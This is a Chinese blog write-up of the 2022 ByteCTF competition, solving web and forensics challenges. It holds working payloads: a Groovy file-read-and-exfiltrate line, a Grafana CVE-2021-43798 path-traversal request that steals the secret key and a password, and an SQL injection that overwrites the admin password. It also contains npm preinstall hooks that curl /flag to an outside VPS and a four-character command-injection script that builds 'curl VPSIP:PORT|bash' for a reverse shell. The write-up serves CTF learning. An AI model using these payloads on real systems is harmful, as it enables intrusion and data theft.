![](/style/images/good.png)
![](/style/images/bad.png)
CTF | 2022 ByteCTF WriteUp
source link: https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
![image-20220926171955776.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/image-20220926171955776.png)
2022 Byte Capture The Flag / ByteCTF
安全范儿高校挑战赛
比赛时间:9月24日10:00—9月25日18:00
上周末字节跳动办了个 ByteCTF,今年没有线下决赛,只有线上这一场比赛了。
那周末在集中健康监测,喵喵正好有点时间,就来打了打这比赛。
不过感觉可能队里师傅不一定有空,貌似看题的师傅不大多,唔。
喵喵太菜,这里只能来随便记录点简单题的 writeup 了。
signin
由于喵喵报名晚了,队友早就报完了,于是咱就自己组了个队来混签到抽奖了,喵呜喵呜喵~
直接来到 /final
,抓包,team_id 在团队页面有个请求里返回了 id
![16641815550964.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/16641815550964.png)
然而并没有抽到奖,呜呜
easy_groovy
过滤了一些关键词,包括 exec execute run start invoke …
折腾了老半天,最后寻思着没必要 RCE 啊,整个外带就好了
只需要调 groovy 语言自带的函数,先读 /flag
文件,然后开个 HTTP 请求传出来,自己 vps 接一下 flag 就完事了
payload:
File flag = new File("/flag").text
def res1 = new URL("http://vpsip:port/${flag}").text
![16641815594807.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/16641815594807.png)
See also:
(看了官方 wp 才知道是非预期了,原来预期得构造恶意文件,然后远程下载文件到本地并触发 RCE。。
好复杂.jpg
find_it
小明的开发电脑被黑客入侵了,并加密了上面的秘密文件,find it。
是个 .scap 系统抓包文件(?
参考 Premium Lab: HIDS Log Analysis — Sysdig: Malware I
发现传了个一句话木马,蚁剑连上去的流量,输入了串 openssl 命令到 bash 脚本,然后执行
openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;
输出的内容在文件里可以拿到
![166418156506310.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418156506310.png)
于是导出来到文件 1.txt,拿 openssl 解密一下
openssl enc -aes-128-ecb -in 1.txt -a -d -pass pass:"KFC Crazy Thursday V me 50" -nosalt > 2.png
![2.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/2.png)
得到一张二维码图片,扫码得到第一部分 flag
bytectf{53f8fb16-a25d-4aac-
找了半天没找到第二部分 flag 在哪,最后 strings 发现是在个 php 文件名。。
strings find_it-2e157327-a739-42a9-b857-5a50bdf6e3d9.scap | grep '}'
![166418156908613.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418156908613.png)
bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}
其实 scap 抓包文件里也有打开
nothing.png
的 syscall,所以其实也能直接搜 png 文件头然后读出来这个图片哈哈哈BTW,用 mac 的队友说他 openssl 跑不出来,最后改用 kali 就出了,笑死了
官方 writeup 说是 mac和Linux可能openssl版本差异导致默认摘要函数不同
survey
ByteCTF{Congratulations_on_your_good_results!}
easy_grafana
You must have seen it, so you can hack it
一看 grafana 就想到经典的 CVE-2021-43798
/public/plugins/text/../../../../../../../../../etc/passwd
参考 Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)
CVE-2021-43798 Grafana任意文件读取复现
需要加个 #
绕过 Nginx 400,读配置文件
GET /public/plugins/text/#/../../../../../../../../../etc/grafana/grafana.ini HTTP/1.1
Host: e01195c95f7b49d209b62dcc8984bd4d.2022.capturetheflag.fun
Cookie: redirect_to=%2F
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
![166418157337416.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418157337416.png)
得到 secret_key,然后再去读数据库 grafana.db
secret_key = SW2YcwTIb9zpO1hoPsMm
GET /public/plugins/text/#/../../../../../../../../../var/lib/grafana/grafana.db
![166418157601719.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418157601719.png)
然后再找个脚本解密一下
https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability
从数据库里拿到密码,然后用这个脚本去解密
SELECT secure_json_data FROM data_source;
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}
改一下最后这里
![166418180692622.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418180692622.png)
# go get golang.org/x/crypto/pbkdf2
# go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm
[*] DataSourcePassword= b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/
[*] plainText= ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}
ctf_cloud
改编自真实漏洞环境。在云计算日益发达的今天,许多云平台依靠其基础架构为用户提供云上开发功能,允许用户构建自己的应用,但这同样存在风险。
给了源码,可疑的地方不多,也就 sql 注入、文件上传、命令执行
/src/routes/users.js
var express = require('express');
var router = express.Router();
var sqlite3 = require('sqlite3').verbose();
var stringRandom = require('string-random');
var db = new sqlite3.Database('db/users.db');
var passwordCheck = require('../utils/user');
/* login */
router.post('/signin', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
if (!passwordCheck(password))
return res.json({"code" : -1 , "message" : "Password is not valid."});
db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (!row) {
return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
}
req.session.is_login = 1;
if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
req.session.is_admin = 1;
}
return res.json({"code" : 0, "message" : "Login successful"});
});
});
/* register */
router.post('/signup', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
// check if username exists
db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (row) {
console.log(row)
return res.json({"code" : -1 , "message" : "Username already exists"});
} else {
// in case of sql injection , I'll reset admin's password to a new random string every time.
var randomPassword = stringRandom(100);
db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
db.run(sql, [username], function(err) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
}
return res.json({"code" : 0, "message" : "Sign up successful"});
});
}
});
});
/* logout */
router.get('/logout', function(req, res) {
req.session.is_login = 0;
req.session.is_admin = 0;
res.redirect('/');
});
module.exports = router;
主要是59行这里把用户输入的 password
直接拼接到了 sql 语句中
![image-20220926170459211.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/image-20220926170459211.png)
于是存在 sql 注入,可以通过 Insert 注入覆盖掉 admin 的密码
这里的 sql 还说 VALUES
,于是可以插入多条数据喵
POST /users/signup HTTP/1.1
Host: deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3A5CNkjDPjekXWaapndSgpEk3SvGDq3k0t.RlV2YIlmL1VXAvsuCjTb1DA8zdtnFxT7Ij0%2F7AOlmHA
Content-Length: 65
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"username": "miao","password":"',0),('admin','123456',1)-- a"}
![166418184121425.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418184121425.png)
然后 admin / 123456 登录
![166418184990328.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418184990328.png)
再看 /src/routes/dashboard.js
源码
var express = require('express');
var router = express.Router();
var multer = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});
var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');
/* authentication middleware */
router.use(function(req, res, next) {
if (!req.session.is_login)
return res.json({"code" : -1 , "message" : "Please login first."});
next();
});
/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
if (!req.files) {
return res.json({"code" : -1 , "message" : "Please upload a file."});
}
var file = req.files[0];
// check file name
if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
return res.json({"code" : -1 , "message" : "File name is not valid."});
}
// do upload
var filePath = path.join(appPath, '/public/uploads/', file.originalname);
var fileContent = fs.readFileSync(file.path);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
}
})
});
/* list upload dir */
router.get('/list', function(req, res, next) {
var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
res.json({"code" : 0 , "message" : files});
})
/* reset user app */
router.post('/reset', function(req, res, next) {
// reset app folder
cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
return res.json({"code" : 0 , "message" : "Reset successful"});
}
});
}
});
})
/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});
/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
var dependencies = req.body.dependencies;
// check dependencies
if (typeof dependencies != 'object' || dependencies === {})
return res.json({"code" : -1 , "message" : "Please input dependencies."});
if (!dependenciesCheck(dependencies))
return res.json({"code" : -1 , "message" : "Dependencies are not valid."});
// write dependencies to package.json
var filePath = path.join(appPath, '/package.json');
var packageJson = {
"name": "userapp",
"version": "0.0.1",
"dependencies": {
}
};
packageJson.dependencies = dependencies;
var fileContent = JSON.stringify(packageJson);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
return res.json({"code" : 0 , "message" : "Set successful"});
}
});
});
/* run npm install */
router.post('/run', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error running npm install."});
}
return res.json({"code" : 0 , "message" : "Run npm install successful"});
});
});
/* force kill npm install */
router.post('/kill', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
// kill npm process
cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error killing npm install."});
}
return res.json({"code" : 0 , "message" : "Kill npm install successful"});
});
}
);
module.exports = router;
可以上传文件,指定依赖,安装依赖
参考 npm 文档,https://docs.npmjs.com/cli/v8/using-npm/scripts
我们可以构造个 preinstall
,让其在安装依赖的流程中执行自己的命令
![166418185661431.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418185661431.png)
![166418186016734.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418186016734.png)
先构造一个依赖,payload 如下:
{
"name": "miaoapp",
"version": "0.0.1",
"dependencies": {
},
"scripts":{
"preinstall": "curl \"http://vpsip:port/?1=`cat /flag|base64 -w 0`\""
}
}
注意文件名需要是 package.json
手动改下表单上传 payload
![166418193417739.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418193417739.png)
改成 <form action="/dashboard/upload" method="post" enctype='multipart/form-data'>
(你们手糊的前端,上传都不改请求 content-type 的是吧哈哈哈哈
![16641815492091.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/16641815492091.png)
{"code":0,"message":"Upload successful at /usr/local/app/public/app/public/uploads/package.json"}
当然也可以 POST flag 文件到自己的 vps,顺便留个 payload 在这
POST /dashboard/upload HTTP/1.1 Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun Cookie: __t_id=118324065f8ed1f677107210caf77359; __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU Content-Length: 457 Pragma: no-cache Cache-Control: no-cache Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdqpFuVvACB98QB4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryJdqpFuVvACB98QB4 Content-Disposition: form-data; name="file"; filename="package.json" Content-Type: application/json { "name": "miaoapp", "version": "0.0.1", "dependencies": { }, "scripts":{ "preinstall": "curl -F \"c=@/flag\" http://vpsip:port/" } } ------WebKitFormBoundaryJdqpFuVvACB98QB4--
要是不出网的话,可以重定向输出到 public 目录下,比如执行下面这样的命令
cat /flag > /usr/local/app/public/flag cp /flag /usr/local/app/public/flag
成功上传,然后指定 dependencies
(这回你们前端直接不糊了是吧
POST /dashboard/dependencies HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 80
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"dependencies":{ "miaoapp":"file:///usr/local/app/public/app/public/uploads/"}}
最后运行安装依赖 run npm install
POST /dashboard/run HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
vps 上成功接收到 flag
![166418194298542.png](https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/166418194298542.png)
还有一种思路,供应链投毒,整个恶意的依赖传到 GitHub 或者 npm 仓库,在安装的时候执行自己的命令,应该也能打通
指定依赖的时候还可以 git+https 这样
typing_game
我是练习时长两年半的nodejs菜鸟,欢迎来玩我写的小游戏
前端是个听单词打字的游戏
给了后端源码 index.js
var express = require('express');
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express();
var PORT = process.env.PORT| 13002;
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs');
app.use(express.static('public'))
app.get("/",function(req,res,next){
var {color,name}= req.query
res.render("index",{color:color,name:name})
})
app.get("/status",function(req,res,next){
var cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
console.log(rip)
if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})
app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
const page = await browser.newPage();
try{
await page.goto(url,{
timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){}
await page.close();
await browser.close();
res.send("OK");
});
app.get("/ping",function(req,res,next){
res.send("pong")
})
app.listen(PORT,HOST, function(err){
if (err) console.log(err);
console.log(`Server listening on ${HOST}:${PORT}`);
});
四字符命令注入的打法
/status
接口有个4字符的命令注入,/report
接口可以 CSRF/SSRF 打本地
参考以前喵喵写的那篇 CTF | 限制长度下的命令执行 技巧汇总,正好有四字节命令执行的参考 exp
但是这里文件夹不是空的,需要首先执行 rm *
删除目录下的文件
这可能会影响前端的静态文件加载不出来,但后端程序已经加载到内存中了,因此不受影响
然后改一改 exp,这里他有个 30s 的请求频率限制,那就 sleep 等等呗。
# encoding:utf-8
import re
import time
import requests
from urllib.parse import quote
baseurl = "https://xxxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3D"
s = requests.session()
# 将ls -t 写入文件_
# list1 = [
# ">ls\\",
# "ls>_",
# ">\ \\",
# ">-t\\",
# ">\>y",
# "ls>>_"
# ]
# 文件 x 内容为 ls -th > g
list1 = [
">sl",
">ht-",
">g\>",
">dir",
"*>v",
">rev",
"*v>x"
]
# curl VPSIP:PORT|bash
list2 = [
">bash",
">\|\\",
">11\\",
">11\\",
">1:\\",
">11\\",
">1.\\",
">11\\",
">11.\\",
">11.\\",
">\ \\",
">rl\\",
">cu\\"
]
def send_request(url):
while True:
r = s.get(url)
r.encoding = 'utf-8'
print('==>', r.text)
if 'Please comeback' in r.text:
t = re.search(r"(\d+)s", r.text)[1]
print(t)
time.sleep(int(t) + 0.3)
else:
break
for i in list1:
url = baseurl + quote(str(i))
print("sending", quote(i))
send_request(url)
for j in list2:
url = baseurl + quote(str(j))
print("sending", quote(j))
send_request(url)
print('sh x')
send_request(baseurl + quote("sh x"))
print('sh g')
send_request(baseurl + quote("sh g"))
vps 上开个端口监听,慢慢等他请求发完,然后接收到 shell 后执行 env
,就能在环境变量里找到 flag
(很明显是非预期,居然没把环境变量清除,哈哈哈
XSS 的打法
前端 game.js
const word = document.getElementById('word');
const text = document.getElementById('text');
const scoreEl = document.getElementById('score');
const timeEl = document.getElementById('time');
const endgameEl = document.getElementById('end-game-container');
// List of words for game
const words = [
'web',
'bytedance',
'ctf',
'sing',
'jump',
'rap',
'basketball',
'hello',
'world',
'fighting',
'flag',
'game',
'happy'
].sort(function() {
return .5 - Math.random();
});
let words_l = 0
let randomWord;
let score = 0;
let time = 26;
text.focus();
const timeInterval = setInterval(updateTime, 1000);
function addWordToDOM() {
randomWord = words[words_l];
words_l++
word.setAttribute("src",randomWord+".mp3")
word.innerHTML = randomWord;
}
function updateScore() {
score++;
scoreEl.innerHTML = score;
}
function updateTime() {
time--;
timeEl.innerHTML = time + 's';
if (time === 0 || score >=words.length ) {
clearInterval(timeInterval);
word.parentElement.removeChild(word)
gameOver();
}
}
function gameOver() {
if (score >= words.length) {
const params = new URLSearchParams(window.location.search)
const username = params.get('name');
endgameEl.innerHTML = `
<h1>^_^</h1>
Dear ${username},Congratulations on your success.Your final score is ${score}`;
endgameEl.style.display = 'flex';
} else {
score=0
endgameEl.innerHTML = `
<h1>*_*</h1>
Try again`;
endgameEl.style.display = 'flex';
}
}
addWordToDOM();
// Typing
function typing(insertedText){
if (insertedText === randomWord) {
addWordToDOM();
updateScore();
document.querySelector("#text").value = '';
updateTime();
}
}
text.addEventListener('input', e => {
typing(e.target.value)
});
addEventListener("hashchange",e=>{
typing(location.hash.replace("#","").split("?")[0])
})
gameOver
里修改了 endgameEl.innerHTML
,这里的 username
可以 XSS
但是需要先打完游戏才行,在上面的前端 js 中 addWordToDOM
函数里可以发现把音频设置成了单词名称所对应的,而 CSS 里可以注入 color
来 leak 当前的单词,js 里监听了 hashchange
事件,于是可以通过修改 url 里的 #
后面的部分来实现调用 typing 函数输入。
这里他服务器都上了 https,因此 vps 上打远程的话也要自己整个 ssl 证书,而且跨域设置好,比如 flask
@app.after_request
def after_request(response):
response.headers.add('Access-Control-Allow-Origin', '*')
response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
return response
@app.route('/')
@cross_origin(origins="*")
def index():
return "meow"
然而咱这里没来得及复现,喵呜
可以参考下 W&M 这题的 writeup
他们这里还用到了个延迟加载的 deelay.me 这玩意,可以在 XSS 的时候搭配一张慢加载的图片来卡住页面渲染,同时在此期间让 js 执行一些耗时的操作,不至于页面渲染完成后直接退出
<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>
Delay proxy for http resources
Slow loading resources (images, scripts, etc) can break your application.
With this proxy you can simulate unexpected network conditions when loading a specific resource.Usage:
https://deelay.me/<delay in milliseconds>/<original url>
eg. https://deelay.me/5000/https://picsum.photos/200/300
ByteCTF 的题目质量还是可以的,可是喵喵好菜啊,呜呜
就先这样吧,最近感觉没那么多时间也没那么大兴致打比赛了,唔
最后,国庆快乐喵~
官方 Writeup 出来了:
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
挺详细的,感人
溜了溜了喵(
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK